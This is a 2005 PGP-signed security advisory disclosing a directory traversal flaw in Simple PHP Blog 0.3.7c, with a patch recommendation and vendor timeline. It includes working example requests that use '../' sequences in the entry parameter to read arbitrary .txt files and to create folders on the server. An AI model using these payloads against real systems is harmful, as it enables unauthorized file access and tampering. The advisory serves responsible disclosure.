sphpBlog037.txt

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
  
Title: Simple PHP Blog directory traversal vulnerability  
Vulnerability discovery: Madelman <madelman AT iname.com>  
Date: 02/01/2005  
Severity: Moderate  
  
Summary:  
- --------  
  
I started this project because I wanted a dead-simple blog. Something  
that didn't require a database, used flat text files, and looked nice.  
  
The main advantage of using Simple PHP Blog is that it only requires PHP  
4 (or greater) and write permission on the server. Unlike other blog  
software, there is almost no setup - just unzip and copy...  
(from vendor site: http://www.bigevilbrain.com/sphpblog/)  
  
SPHPBlog doesn't check the entry parameter which allows directory traversal  
  
This vulnerability has been tested with SPHPBlog 0.3.7c  
  
  
Details:  
- --------  
  
We can read any file with TXT extension (in this example /etc/X11/rgb.txt)  
  
REQUEST:  
http://[SERVER]/sphpblog/comments.php?y=05&m=01&entry=../../../../../../../etc/X11/rgb  
  
returns the content of the file  
  
  
We can create arbitrary folders in the filesystem and the content of the  
post will be saved in this folder.  
  
To create folder http://[SERVER]/sphpblog/createdir/  
  
REQUEST (this must be a POST request and we must modify entry parameter):  
http://[SERVER]/sphpblog/comment_add_cgi.php  
~ entry=../../../createdir  
  
  
Solution  
- --------  
  
Update to latest version (at this moment 0.3.7r2)  
  
  
Timeline  
- --------  
  
02/01/2005 - Vulnerability found  
02/01/2005 - Vendor contacted  
02/01/2005 - Vendor confirmed and implemented a patch for the first vuln  
04/01/2005 - Vendor implemented a patch for the second vuln  
07/01/2005 - Advisory released  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.2.3 (MingW32)  
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org  
  
iD8DBQFB3nXf3RWooxY20cIRAo1gAJ4zAa8W9sthSPOtbs8tKMj/HgDWHwCdGbf/  
/x7WTmTzJDdLNpSKSuyPEgc=  
=uNOC  
-----END PGP SIGNATURE-----  
`